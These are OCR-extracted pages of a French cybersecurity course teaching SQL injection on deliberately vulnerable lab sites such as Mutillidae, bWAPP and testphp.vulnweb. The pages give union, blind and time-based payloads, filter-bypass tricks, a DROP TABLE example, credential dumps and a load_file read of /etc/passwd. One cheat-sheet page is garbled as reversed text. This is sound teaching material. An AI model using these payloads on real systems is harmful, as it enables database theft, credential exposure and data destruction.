11 (Fimage s’affiche)

SELECT colonne1, colone2
Puis : FROM table order by colonne1
11" UNION SELECT NULL ; --- (P'image ne s’affiche plus)
11" UNION SELECT NULL, NULL, NULL; --- (I'image s’affiche de nouveau)

Conclusion : il y a donc trois colonnes !

Il faut ensuite trouver le type des champs : en effet, on ne peut pas toujours faire un UNION
entre un entier et un string. On remplace donc les NULL par 1 et par 'a’ (on regarde ou il y

a une erreur) Il est maintenant possible d’extraire les données de la base de données.

Exploiter une boolean-based blind SQL.i
Syntaxe : substr(chaine, position, longueur)
On trouve le nom de I'utilisateur comme suit :
' or substring(user(), 1,1) ="'a

' or substring(user(), 1,1) ='b

2989




Introduction a la cybersécurité / Le monde du web

Puis :
' or substring(user(), 2, 1) ='a

' or substring(user(), 2,1)="'b

On trouve ainsi le nom de l'utilisateur. Exemple (machine virtuelle b WAPP) :

/ SQL Injection - Blind (Search) /

Search for a movie: | ' or substring(database(), 1,1) ="a Search

/ SQL Injection - Blind (Search) /

Search for a movie: Search

The movie does not exist!

/ SQL Injection - Blind (Search) /

Search for a movie: [ ' or substring(database(),1,1)='b ] Search

/ SQL Injection - Blind (Search) /

Search for a movie: Search

The movie exists!

Ce message nous avertit que la premiére lettre du
—

nom de la base de données est "b"

Il reste a continuer de la méme maniére pour trouver toutes les lettres du nom de la
base de données... Dans le cas présent, le nom de la base de données est "bwapp".
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Faire une injection SQL via ’'URL

Lorsque vous faites une attaque via ’'URL, vous pouvez par exemple avoir :

https:/lwww.website.net/script.php?id=1

g

https:/lwww.website.net/script.php?id=1 and 1=0 UNION SELECT 1,database(),3,4,5 -- -

(il est parfois utile de remplacer les espaces par le signe +)

Du simple vandalisme avec une injection SQL

Vous pouvez détruire facilement une table de la base de données avec la commande :

SELECT * FROM users WHERE user="'"'; DROP TABLE achats; -- - ' AND PASS="

Mesures de prévention contre les injections SQL :
=>» Utiliser des requétes préparées
= Echapper les entrées (escaping inputs)

= Désinfecter les entrées (sanitizing inputs) = rejet des entrées non valides

2989



162

é / Le monde du web

la cybersécuri

ion a

Introduct

JJYIH-IWVN-IT19VL, = dweu™ 9|qe) JYIHM SUWN|od BWBYDS™ uoljewojul NO¥S « LI3713S

_ JOSAN
s9|qe)ewayds uoneulojul NO¥4 « 193713S
JYIH-IWVN-ITGVL, = dweu 9[qe} JYIHM SUWN[od BWwaYdS uoneunojul NO¥4 » L9313S TOSSW
sa|qe) ewayds  uoneulojul NO¥4 « 193738 SeoUUOp 8P
JYIH-INVN-I1GVL = SWeu 9|qe} IYIHM SUWIN|OD BWSYIS™ UoHEWIOJUl NOYS « 19313S asibjeod iz U] Ig Lo
s9|qe)ewsyds uonewlojul NO¥4 » 1937138
JYIH-TNVN-IT19VL, = dweu 3|qe} JYIHM suwn|od qey ||e NOXUd » LO313S —_
s9|qe} [le WOy « 19313S
uolsIsA@® 193138 JOSAN
uoIsIA®® 193138 TOSSW
(uoisien 15373s | JOS@ibisod S
©SE( B| 9P UOISIS A\
9oUeB)SUIGA NOYL UOISIBA 1D313S opRI0
UOISI9A$A INOYS J9uueq 193138
JUBWIWODH [ Juswwoo, [ 32413 @1gnop 9] saide aosedsa,| e uoiuaRY ] JUBWWOD -- TOSAN
[xJUswuiod, / Jjuswwod-- TOSSIN
saJlejuswwo)
/L Judwwoo, juswIwo9-- 10S8161s04
juswuwod-- |joelQo
(2 ‘v ‘,249y-p1om-e,)ONINLSENS JosAN
TOSSW
e sauleyo-snos
(z ‘v ‘,219y-p1om-e,)ONIMLSENS Joseibisod
(z ‘v ‘;219y-piom-e )y1s9NS 8joeI0
(.zpiom, ,LpIom,) LYONOD JosAN
ZPIOM +,L PIOM, TOSSW
uoljeusjeduo)d
ZPIoMm ||, L piom, Josaibisod

allowgw-aple : TS suoiodalul

© m@x

SIOCISIC,



Introduction a la cybersécurité / Le monde du web

163:

. . O
Injections avec MySQL

Utilisateur courant :

UNION SELECT user() ; -- -

Base de données courante :

UNION SELECT database() ; -- -

Version de MYSQL :
UNION SELECT @@version ; -- -

Bases de données en présence :

UNION SELECT schema_name FROM information_schema.schemata; -- -

Tables en présence (toutes les bases de données confondues) :

UNION SELECT table_schema, table_name FROM information_schema.tables WHERE
table_schema !="'mysql' AND table_schema != ‘information_schema’; -- -

Tables en présence (pour la base de données courante) :

UNION SELECT table_schema, table_name FROM information_schema.tables WHERE
table_schema = database(); -- -

Tables et colonnes en présence (toutes les bases de données confondues) :

UNION SELECT table_schema, table_name, column_name FROM information_schema.columns
WHERE table_schema !='mysql’ AND table_schema != 'information_schema’; -- -

Colonnes en présence (pour la base de données courante) :

UNION SELECT 1, 2, column_name FROM information_schema.columns WHERE table_name =
'users' AND table_schema = database(); -- -

Contenu des colonnes d’une table pour une base de données précise (ici "base") :

UNION SELECT username, password FROM base.users; -- -

(ici base de données = "base" et table = "users")

CONCATENER PLUSIEURS INFORMATIONS DANS UN CHAMP UNIQUE :
SELECT CONCAT(user(), " - - ", database(), " - - ", @@yversion) ...

\_ )
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Injections SQL (SQLi) : un exemple simple

Affichons sur Mutillidae la page User Lookup (SQL) :

164:

[ User Lookup (SQL)

Hints |

= AN
A‘Ax Switch to SOAP Web Service version l Switch to XPath version

1

Please enter username and password
to view account details

Name [[OR1=1---

Password [...............l

[ View Account Details ]

Dont have an account? Please register here

Introduisons dans le formulaire de login le payload classique (" OR1 =1 ---):

[ Results for "' OR 1 = 1 -- -".24 records found.

Username=admin
Password=admin
Signature=g0t r00t?

Username=adrian
Password=somepassword
Signature=Zombie Films Rock!

Username=john
Password=monkey
Signature=l| like the smell of confunk

Username=jeremy
Password=password
Signature=d1373 1337 speak

Username=bryce
Password=password
Signature=| Love SANS

Nous accédons facilement au contenu de la base de données !
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Recommengons en augmentant le niveau de sécurité :

Dangerous characters detected. We can't allow these. This all powerful blacklist
will stop such attempts.

Much like padlocks, filtering cannot be defeated.

Blacklisting is 133t like I33tspeak.

Des caractéres dangereux sont alors détectés et notre injection échoue !

Tentons une technique de contournement : nous soumettons au formulaire notre payload

aprés I'avoir encodé (URL encoding réalisé par 'encodeur de Burp Suite)

Burp Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater Sequencer
Decoder Comparer Logger Extender Project options User options Learn
7~H1:1 sl | o Text Hex @
| Decodeas... %
| Encodeas... :
iHasF... B - Az
1 Smart decode

%627%20%4f%52%20%31%3d%31%620%2d%2d%20%2d o Text Hex
Decode as...

Encodeas...

Hash... |

‘Smart decode

Deuxiéme échec, notre payload est rejeté car trop long :

Username too long. We dont want to allow too many characters.

Someone might have enough room to enter a hack attempt.
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Nous configurons alors notre navigateur pour qu’il utilise le proxy de Burp Suite :

166:

Parametres de connexion

Configuration du serveur proxy pour accéder a Internet

Pas de proxy
Détection automatique des parameétres de proxy pour ce réseau
Utiliser les parametres proxy du systeme

® Configuration manuelle du proxy

Proxy HTTP | 127.0.0.1

v | Utiliser également ce proxy pour FTP et HTTPS

Héte SOCKS
SOCKSv4 @ SOCKS V5

Adresse de configuration automatique du proxy

Pas de proxy pour

Annuler

Nous soumettons a notre formulaire des données quelconques (test/password) :

| User Lookup (SQL)

L

== AN
A‘Ax Switch to SOAP Web Service version lXML Switch to XPath version

Please enter username and password
to view account details

Name [test

Password |esoccces

[ View Account Details ]

Dont have an account? Please register here
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La requéte est interceptée par Burp :

Burp Project Intruder Repeater Window Help
Decoder Comparer Logger Extender Project options User options Learn
Dashboard Target Prox Intruder Repeater Sequencer
HTTP history WebSockets history Options

¢ Request to http://192.168.56.106:80

[ Foward || Drop \\ Action || OpenBr. 1’ “omment this iten ‘V HTTP/1 @
Pretty Hex Y =

GET /mutillidae/index.php?page=user-info.php&username=test&password=password&
user-info-php-submit -button=View+Account+Details HTTP/1.1

Host: 192.168.56.106

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,1image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3

Accept -Encoding: gzip, deflate

Connection: close

Referer: http://192,168.56,106/mutillidae/index.php?page=user-info.php

Cookie: showhints=1; Server=b3dhc3Bid2E=; acopendivids=swingset,jotto,phpbb2, redmine;
acgroupswithpersist=nada; JSESSIONID=61E02AS7BOFS9E207DEDB17308C3BDOE; PHPSESSID=
5351d1lu0tu6jeb3hqcjrthofal

10 Upgrade-Insecure-Requests: 1

11

12

[

o w N
HO1D3dSNI

w0

Nous remplagons dans cette requéte 'username et le password par notre payload encodé :

Burp Project Intruder Repeater Window Help
Decoder Comparer Logger Extender Project options User options Learn
Dashboard Target Proxy Intruder Repeater Sequencer
HTTP history WebSockets history Options

¢/ Request to http://192.168.56.106:80

| Forward || Drop 1 |  Action || OpenBr. |] Comment this iten I W HTTPI ®

1MGET /mutillidae/index.php?page=user-info,php&username=

% 27% 20% 4% 52% 20% 31% 3d% 31% 20% 2d% 2d% 20% 2d &passwo rd="% 27% 20% 4% 52% 20% 31% 3d% 31% 20% 2d% 2d% 20% 2d &
USEr-1NTO-pPNp-SUDMIt-DULTON=VIEwrACCOUNT +DEtalls AP/ L. 1

Host: 192.168.56.106

User-Agent: Mozilla/S5.0 (X11; Linux x86_64; rv:78,0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,1image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: close

; Referer: http://192.168.56.106/mutillidae/index.php?page=user-info.php

Cookie: showhints=1l; Server=b3dhc3Bid2E=; acopendivids=swingset,jotto,phpbb2, redmine;
acgroupswithpersist=nada; JSESSIONID=61E02AS7BOF99E207DEDEBL7308C3BD0OE; PHPSESSID=
5351d1luCtu6jeb3hqgcj rtbofal

10 Upgrade-Insecure-Requests: H

11

l 2

¥O1D3dSNI

SO s WwN

w0

Cliquons maintenant sur le bouton Forward pour envoyer la requéte au serveur.
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[ Results for "' OR 1=1 -- -".24 records found.

Username=admin
Password=admin
Signature=g0t r00t?

Username=adrian
Password=somepassword
Signature=Zombie Films Rock!

Username=john
Password=monkey
Signature=l| like the smell of confunk

Username=jeremy
Password=password
Signature=d1373 1337 speak

Username=bryce
Password=password
Signature=| Love SANS

Bingo : nous avons réussi a bypasser la protection et notre

injection donne le résultat escompté !
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Exploitation sur testphp.vulnweb : Union-based SQLI

Nous attaquerons 'URL : http://testphp.vulnweb.com/listproducts.php?cat=2

testphp.vulnweb.com/listproducts.php?cat=2 union select 1,2,3,4,5,6,7,8,9,10

mOCU neﬁX Qﬁc U 93 r:g Jusqu’a 10 colonnes, on obtient

un message d’erreur !

Acunetix Web Vulnerability Scanner
home | categories | artists @ disclaimer | your cart | guestbook @ AJAX Demo

search art Error: The used SELECT statements have a different number of columns
[ 1[ee] Warning: mysql_fetch_array() expects parameter 1 to be resource,

B o boolean given in /hj/var/'www/listproducts.php on line 74

Browse artists

testphp.vulnweb.com/listproducts.php?cat=2 union select 1,2,3,4,5,6,7,8,9,10,11

Acunetix Web Vulnerability Scanner

home | categories | artists @ disclaimer @ your cart | guestbook | AJAX Demo

search art Paintings
[ Ilse]

Browse categories Thing
Browse artists
Your cart

Signup

Your profile

Our guestbook

Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
Donec molestie. Sed aliguam sem ut arcu. Phasellus
sollicitudin.

painted by: rdw8173

AJAX Demo comment on this picture Les champs 2, 7 et 9
s’affichent et sont

Links donc utilisables !
Security art

PHP scanner 2
PHP vuln help
Fractal Explorer

painted by: 9

comment on this picture

Méthode 1 = Il y a donc 11 colonnes dans la table !
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On aurait pu encore faire comme ci-dessous :

testphp.vulnweb.com/listproducts.php?cat=2 order by 10

Macunetix JeReRAE

i L

Acunetix Web Vulnerability Scanner

home | categories | artists = disclaimer | your cart ' guestbook | AJAX Demo

searchart Paintings
|lge]

Browse categories Thing

Browse artists

Your cart

Signup

Your profile

Our guestbook

AJAX Demo

Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
Donec molestie. Sed aliguam sem ut arcu. Phasellus
sollicitudin.

painted by: rdw8173

comment on this picture

Links

testphp.vulnweb.com/listproducts.php?cat=2 order by 11

M acunetix

Acunetix Web Vulnerability Scanner

home | categories  artists = disclaimer your cart | guestbook @ AJAX Demo

searchart Paintings
‘ |[g0]

Browse categories hing
Browse artists
Your cart

Signup

Your profile

Our guestbook

AJAX Demo

Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
Donec molestie. Sed aliguam sem ut arcu. Phasellus
sollicitudin.

painted by: r4w8173

comment on this picture

Iinke

testphp.vulnweb.com/listproducts.php?cat=2 order by 12

g

ri

Acunetix Web Vulnerability Scanner

Macunetix el

home | categories | artists @ disclaimer | your cart @ guestbook ' AJAX Demo

Error: Unknown column 12" in ‘order clause' Warning: mysql_fetch_array()
expects parameter 1 to be resource, boolean given in /hj/var
Iwww/listproducts.php on line 74

search art

lse]

Browse categories

Méthode 2 & On obtient le méme résultat de 11 colonnes dans la table !
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testphp.vulnweb.com/listproducts.php?cat=2 union select
1,database(),3,4,5,6,user(),8,version(),10,11

M acunetix

Acunetix Web Vulnerability Scanner

home | categories | artists disclaimer | your cart ' guestbook ' AJAX Demo

search art Paintings

‘, lge]

Thing

Browse categories
Browse artists
Your cart

Signup

Your profile

Our guestbook :
AJAX Demo comment on this picture

Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
Donec molestie. Sed aliguam sem ut arcu. Phasellus
sollicitudin

painted by: rdw8173

Links

PHP scanner

acuart
PHP vuln help
Fractal Explorer

painted by: 8.0.22-0ubuntu0.20.04 .2

comment on this picture \m

testphp.vulnweb.com/listproducts.php?cat=2 union select
1,database(),3,4,5,6,user(),8,schema_name, 10,11 from information_schema.schemata

=» Donne les bases de données existantes (information_schema et acuart)

testphp.vulnweb.com/listproducts.php?cat=2 union select
1,database(),3,4,5,6,user(),8,group_concat(schema_name),10,11 from
information_schema.schemata

= Idem de fagon concaténée

testphp.vulnweb.com/listproducts.php?cat=2 union select
1,database(),3,4,5,6,user(),8,group_concat(table_name),10,11 from
information_schema.tables where table_schema="acuart"

= Donne toutes les tables existantes
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testphp.vulnweb.com/listproducts.php?cat=2 union select
1,database(),3,4,5,6,user(),8,group_concat(column_name),10,11 from
information_schema.columns where table_name="users" and table _schema="acuart"

M acunetix

Acunetix Web Vulnerability Scanner

home @ categories  artists = disclaimer | your cart = guestbook | AJAX Demo

searchart Paintings
‘ |90
Browse categories Thing

Browse artists Lorem ipsum dolor sit amet, consectetuer adipiscing elit.

Donec molestie. Sed aliqguam sem ut arcu. Phasellus

Your cart sollicitudin.

Signup
Your profile

Our guestbook
AJAX Demo comment on this picture

painted by: r4w8173

Links
Security art

PHP scanner it ‘
PHP vuln help

Fractal Explorer

acuart@localhost

painted by[uname.pass_cc.address.email.name.phone.cart ]

comment on this picture

= Donne les colonnes existantes dans la table users de la base de données acuart

testphp.vulnweb.com/listproducts.php?cat=2 union select
1,database(),3,4,5,6,user(),8,group_concat(uname," ",pass," ",email),10,11 from acuart.users

acuart@localhost

acuart ‘

painted byi[test test email@email.com ]

comment on this picture

= Donne les valeurs contenues dans les colonnes uname, pass et email de la table
users (pour la base de données acuart)
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testphp.vulnweb.com/listproducts.php?cat=2 union select
1,database(),3,4,5,6,user(),8,group_concat(column_name),10,11 from
information_schema.columns where table_name="products" and table _schema="acuart"

acuart@localhost

acuart

painted by: id,name rewritename description price

comment on this picture

=» Donne les colonnes de la table products

testphp.vulnweb.com/listproducts.php?cat=2 union select
1,database(),3,4,5,6,user(),8,group_concat(id," / ",name," / ",price),10,11 from
acuart.products

acuart@localhost

acuart

painted by: 1/ Network Storage D-Link DNS-313 enclosure
1 x SATA f 359,2 / Web Camera A4Tech PK-335E /10,3 /
Laser Color Printer HP LaserJet M551dn, A4 / 812

comment on this picture

= Donne les valeurs des colonnes id, name et price de la table products

Et ainsi de suite ...
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Exploitation sur testphp.vulnweb : Time-based SQLi

Nous attaquerons 'URL : http://testphp.vulnweb.com/listproducts.php?cat=2

testphp.vulnweb.com/listproducts.php?cat=2 and
if(substring(database(),1,1)="b",sleep(10),sleep(1))

La base de données met 1 seconde pour répondre : la premiére lettre du nom de la

base de données n’est pas 'b'!

testphp.vulnweb.com/listproducts.php?cat=2 and

if(substring(database(),1,1)="a",sleep(10),sleep(1))

La base de données met 10 secondes pour répondre : la premiére lettre du nom de la

base de données est bien 'a'!

testphp.vulnweb.com/listproducts.php?cat=2 and

if(substring(database(),2,1)="c",sleep(10),sleep(1))

La base de données met 10 secondes pour répondre : la deuxiéme lettre du nom de

la base de données est bien 'c'!

Et ainsi de suite ...
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Exploitation sur testphp.vulnweb : Boolean-based SQLi

Nous attaquerons 'URL : http://testphp.vulnweb.com/listproducts.php?cat=2

175:

Browse categories
Browse artists
Your cart

Signup

Your profile

Our guestbook
AJAX Demo

Links

Security art
PHP scanner
PHP vuln help
Fractal Explorer

Acunetix Web Vulnerability Scanner

M acunetix
home | categories | artists = disclaimer
searchart Paintings
lgo]
Thing

comment on this picture

your cart = guestbook ' AJAX Demo

Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
Donec molestie. Sed aliguam sem ut arcu. Phasellus
sollicitudin.

painted by: r4w8173

Ici, pas de message d’erreur. On regarde le
comportement de la base de données. Dans le

cas présent, si une requéte est vraie, un affichage
a bien lieu comme ci-contre.

et acuart|

home | categories

search art o
[ |[go]
Browse categories
Browse artists
Your cart

Signup

Your profile

Our guestbook
AJAX Demo

Links

Security art
PHP scanner
PHP vuln help
Fractal Explorer

artists

Acunetix Web Vulnerability Scanner

disclaimer

your cart | guestbook ' AJAX Demo

Mais si une requéte est fausse, aucun affichage

en vue !
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Exemples de requétes qui générent un affichage :
testphp.vulnweb.coml/listproducts.php?cat=2 and length(database())="6"
testphp.vulnweb.coml/listproducts.php?cat=2 and substring(database(),1,1)= "a"
testphp.vulnweb.com/listproducts.php?cat=2 and substring(database(),2,1)= "c"

\ 4

testphp.vulnweb.coml/listproducts.php?cat=2 and database()="acuart"

\ 4

Il est ainsi possible de découvrir facilement le nom de la base de données, puis celui des tables

et des colonnes...

Exemples de requétes qui ne générent aucun affichage :
testphp.vulnweb.coml/listproducts.php?cat=3 and database()="acuart"
testphp.vulnweb.com/listproducts.php?cat=2 and length(database())="4"
testphp.vulnweb.com/listproducts.php?cat=2 and substring(database(),1,1)= "b"

testphp.vulnweb.coml/listproducts.php?cat=2 and substring(database(),2,1)= "b"
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Injection SQL : contournement des filtres lors d’un login

Soit un filtre qui vérifie que la requéte ne retourne qu’une seule ligne

177:

Ici, I'input suivant n’est pas accepté car il retourne plusieurs lignes :
'OR 1=1-- -
Pour contourner le filtre, on tapera :

'OR 1=1 LIMIT 1-- -

Soit un filtre qui n’accepte pas les espaces blancs

|

Un commentaire en SQL se note /* BLA BLA BLA */ (il débute par /* et finit par */).
Pour contourner le filtre, on tapera donc :
"T*IOR**[1=1#
Ala place de ' OR 1=1-- -

Il faut remplacer -- - par # car --/**/- ne fonctionne pas !

Soit un filtre qui vérifie avec une RegEx qu’un champ est numérique

[l faut bien définir la RegEx comme suit :
IA[0-9]+$/

= En effet, si le filtre est simplement /A[0-9]+/, on pourra le contourner avec :

1 or 1=1# (sans apostrophe initiale)

=>» Et si le filtre est simplement /[0-9]+$/, on pourra le contourner avec :

1 or 1=1#1 (avec un chiffre terminal)
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Soit un filtre qui supprime les apostrophes simples

178:

On place le caractére d’échappement \ dans le premier INPUT et <space>OR 1=1-- -
dans le second INPUT.

Cela donne : SELECT * FROM XXX WHERE NAME ="\ AND PASS ="' OR 1=1-- -';
A cause de I'échappement, le contenu de NAME sera \' AND PASS =
Cela correspond donc a : SELECT * FROM XXX WHERE NAME = 'xxx ' OR 1=1-- -";

Le filtre est donc bien contourné !

Toujours avec ce méme filtre, on ne pourra pas écrire dans le second champ :
<space>OR 'a' IN (SELECT schema_name FROM information_schema.schemata)#
En effet, les apostrophes autour de la lettre a seront supprimées.

La solution consiste alors a utiliser la notation hexadécimale des caractéres ASCII : la

lettre a correspond a 0x61.
On écrira donc :

<space>OR 0x61 IN (SELECT schema_name FROM information_schema.schemata)#

TABLE ASCII

Char Dec Oct Hex | Char Dec Oct Hex | Char Dec Oct Hex | Char Dec Oct Hex

(nul) 0 0000 0x00 (sp) 32 0040 0x20 64 0100 0x40 96 0140 0x60
(soh) 1 0001 0x01 ! 33 0041 0x21 65 0101 0x41 97 0141 0x61
(stx) 2 0002 0x02 " 34 0042 0x22 66 0102 0x42 98 0142 0x62
(etx) 3 0003 0x03 # 35 0043 0x23 67 0103 0x43 99 0143 0x63
(eot) 4 0004 0x04 $ 36 0044 0x24 68 0104 0x44 100 0144 0x64
(enq) 5 0005 0x05 % 37 0045 0x25 69 0105 0x45 101 0145 0x65
(ack) 6 0006 0x06 & 38 0046 0x26 70 0106 0x46 102 0146 0x66
(bel) 7 0007 0x07 ! 39 0047 0x27 71 0107 0x47 103 0147 0x67
(bs) 8 0010 0x08 ( 40 0050 0x28 72 0110 0x48 104 0150 0x68
(ht) 9 0011 0x09 ) 41 0051 0x29 73 0111 0x49 105 0151 0x69
(nl) 10 0012 0x0a * 42 0052 0x2a 74 0112 Ox4a 106 0152 Ox6a
(vt) 11 0013 0x0b + 43 0053 0x2b 75 0113 0x4b 107 0153 0x6b
’

w

N

o

o

o0
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o
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w

~
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Soit un filtre qui double les apostrophes simples

La requéte suivante n’aboutira pas car I'apostrophes initiale sera doublée :

'OR1=1-- -

I suffira alors pour contourner le filtre d’écrire :

\'OR 1=1-- -

L’apostrophe initiale sera doublée mais I'une d’elles sera échappée !

l Soit un filtre qui n’accepte pas le caractére #

I suffit de remplacer le caractére # par :

- [ deux tirets suivi d’un espace]

Soit un filtre qui n’accepte pas les mots union/UNION ou select/SELECT

I suffit, a la place d’'union select 1,2 # (ou UNION SELECT 1,2 #), d’écrire :
UnioN SelEcT 1,2 %23
UnioN+SelEcT+1,2+%23

UnioN/**/SelEcT/**/1,2/**[%23
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Soit un filtre qui interdit I'utilisation du signe égal (=)

On peut utiliser LIKE ou IN :

'string_1' LIKE 'string_2'
'string_1" IN 'string_2'

Soit un filtre qui interdit les opérateurs AND et OR

On peut remplacer par :

Soit un filtre qui interdit les signes < et >

On peut utiliser NOT BETWEEN :

NOT BETWEEN x AND y
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MySQL : union-based SQLi avec Mutillidae Il (owAsP BwA)

On sélectionne dans le site Mutillidae Il (version 2.6.24) de OWASP BWA (et pas dans le

site Mutillidae de Metasploitable que nous verrons au chapitre suivant ! ! !) :

OWASP 2013 / A1-Injection (SQL) / SQLi — Extract Data / User Info (SQL)

e% OWASP Mutillidae

Version: 2.6.24 Security Level: 0 (Hos!
Home Login/Register Toggle Hints Show Popup Hi

OWASP 2013 Al - Injection (SQL) SQLi - Extract Data » | User Info (SQL)

OWASP 2010 Al - Injection (Other) SQLi - Bypass Authentication

A2 - Broken Authentication and SQLi - Insert Injection

OWASP 2007 Session Management

Blind SQL via Timing

Web Services A3 - Cross Site Scripting (XSS) )
SQLMAP Practice

A4 - Insecure Direct Object
References

= . Via SOAP Web Service 4
A5 - Security Misconfiguration e
et able = )(i@ Switch to XPath

Documentation A6 - Sensitive Data Exposure Via REST Web Service 4

Via JavaScript Object Notation (JSON

Resources A7 - Missing Function Level Access
Control Ple

On recherche ensuite combien il faut de colonnes dans le SELECT.

Please enter username and password
to view account details

Name "union select null; -- -

Password

' union select null;-- -
' union select null, null;-- -

' union select null, null, null;-- -

' union select null, null, null, null;-- -

' union select null, null, null, null, null;-- -

' union select null, null, null, null, null, null;-- -

— v

|[connect_errno: ©

errno: 1222

error: The used SELECT statements have a
different number of columns

client info: 5.1.73

host_info: Localhost via UNIX socket
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BINGO ! ll n’y a plus de message d’erreur avec 7 champs :

' union select null, null, null, null, null, null, null;-- -

[Results for "' union select null, null, null, null, null, null, null;-- -".1

records found.

Username=
Password=
Signature=

Je découvre ensuite que les champs 2, 3 et 4 s’affichent

' union select null, user(), database(), @@version, null, null, null;-- -

Results for "' union select null, user(), database(),
@@version, null, null, null;-- -".1 records found.

Username=mutillidae@localhost
Password=nowasp
Signature=5.1.41-3ubuntul2.6-log

Je désire ensuite afficher toutes les bases de données (il y en a 34) :

' union select null,schema_name, null, null, null, null, null FROM
information_schema.schemata;-- -

Results for "' union select null,schema_name, null,
null, null, null, null FROM
information_schema.schemata;-- -".34 records found.

Je découvre deux bases de données intéressantes : mutillidae et nowasp :

Username=mutillidae
Password=
Signature=

Username=mysql
Password=
Signature=
Username=nowasp

Password=
Signature=

Essayons d’en savoir plus...
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Je vais ensuite essayer de découvrir les tables présentes dans les bases données (il y
en a 629) :

' union select null,table_schema, table_name, null, null, null, null FROM
information_schema.tables WHERE table_schema !='mysql' AND table_schema !=
'information_schema’';-- -

Results for "' union select null,table_schema,
table_name, null, null, null, null FROM
information_schema.tables WHERE table_schema !=
‘'mysql’ AND table_schema != 'information_schema’;--
-".629 records found.

Une table semble trés prometteuse : la table accounts de la base de données nowasp :

Username=mutillidae
Password=page hints
Signature=

Username=mutillidae
Password=pen_test tools
Signature=

Password=accounts

Username=nowasp
Signature=

Username=nowasp
Password=Dballoon_tips
Signature=

Je vais donc tenter d’afficher toutes les colonnes des tables présentes dans les bases
de données (il y en a 4154) :

' union select null,table_schema, table_name, column_name, null, null, null FROM
information_schema.columns WHERE table_schema != 'mysql' AND table_schema !=
‘information_schema’;-- -

Results for "' union select null,table_schema,
table_name, column_name, null, null, null FROM
information_schema.columns WHERE table_schema !=
'mysql' AND table schema != 'information_schema’;--
-".4154 records found.
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Je découvre dans la base de données nowasp trois colonnes intéressantes de la table
accounts : username, password et is_admin :

Username=nowasp
Password=accounts
Sighature=username

Username=nowasp
Password=accounts
Sighature=password

Username=nowasp
Password=accounts
Sighature=mysignature

Username=nowasp
Password=accounts
Signature=is_admin

Finalement, j’affiche les colonnes username, password et is_admin de la table
accounts contenue dans la base de données nowasp :

' union select null, username, password, is_admin, null, null, null FROM

nowasp.accounts ; -- -

Results for "' union select null, username, password,
is_admin, null, null, null FROM nowasp.accounts ; --

-".24 records found.

BINGO ! Voici les mots de passe des utilisateurs :

|@®@@|

Username=admin
Password=admin
Signature=TRUE

Usernames=adrian
Password=somepassword
Signature=TRUE

Username=john
Password=monkey
Signature=FALSE

Username=jeremy

Password=password
Signature=FALSE



Introduction a la cybersécurité / Le monde du web

185:

MySQL : union-based SQLi avec Mutillidae Il (Metasploitable)

On utilise ici le site Mutillidae (version 2.1.19) de la machine virtuelle Metasploitable.

A condition d’effectuer quelques changements, il est possible de refaire I'injection SQL

du chapitre précédent avec le site Mutillidae de la machine virtuelle Metasploitable.

Changement n°1

Il faut modifier le fichier de configuration de Mutillidae avec la commande :

sudo nano /var/www/mutillidae/config.inc

"localhost’;
'root’;

Sdbhost
Sdbuser

Sdbpass
Sdbnamne

mn o mn n

"'metasploit’:

On remplace 'metasploit’ par ‘'owasp10':

'localhost’:
'root’ ;

| Ef SHS

Sdbhost
Sdbuser
Sdbpass
Sdbname

B | ||

'owasplo’;

On ferme nano avec Ctri+X puis Y <ENTER>

Changement n°2

= Le nombre de colonnes n’est plus de 7 mais de cinq

= On ne met pas de point-virgule a la fin de la requéte

Vérifions cela avec la commande :

' UNION SELECT null, @@yversion, null, null, null -- -

. - C s . Username=5.0.51a-3ubuntu5
Le résultat attendu s’affiche bien a I’écran : Prsswibid=

Signature=

Pour la suite, vous faites comme au chapitre précédent ... La requéte finale sera :

' union select null, username, password, is_admin, null FROM owasp10.accounts -- -
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Lire un fichier avec une injection SQL

Dans le site Mutillidae de la machine virtuelle OWASP BWA (voir deux chapitres en

arriére), nous avons réussi a afficher des informations grace a I'injection suivante :

' union select null, user(), database(), @@version, null, null, null;-- -

Results for "' union select null, user(), database(),
@@version, null, null, null;-- -".1 records found.

Username=mutillidae@localhost
Password=nowasp
Sighature=5.1.41-3ubuntul2.6-log

Simplifions cette injection en n’affichant qu’une seule information :

' union select null, user(), null, null, null, null, null;-- -

Please enter username and password
to view account details

Name 0.null.null.null.nullnull; -

Password

I View Account Details |

Dont have an account? Please register here

Results for " union select null, user(),null,null,null,null,null; -- -
".1 records found.

Username=mutilidae@localhost
Password=
Signature=

Dans ce cas de figure, on peut parfois afficher le contenu d'un fichier local en
remplagant la commande - ici user() - par : load_file('/path/to/file'). Par exemple (avec un

serveur linux) : load_file('/etc/passwd’).
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' union select null, load_file('/etc/passwd’), null, null, null, null, null;-- -

BINGO !

Please enter username and password
to view account details

Name
Password

| View Account Details l

Dont have an account? Please register here

Results for "' union select null, load_file
(‘letc/passwd’),null,null,null,null,null; -- -".1 records found.

Username=root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh Ip:x:7:7:Ip:/ivar/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List
Manager:/var/list:/bin/sh irc:x:39:39:ircd:ivar/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
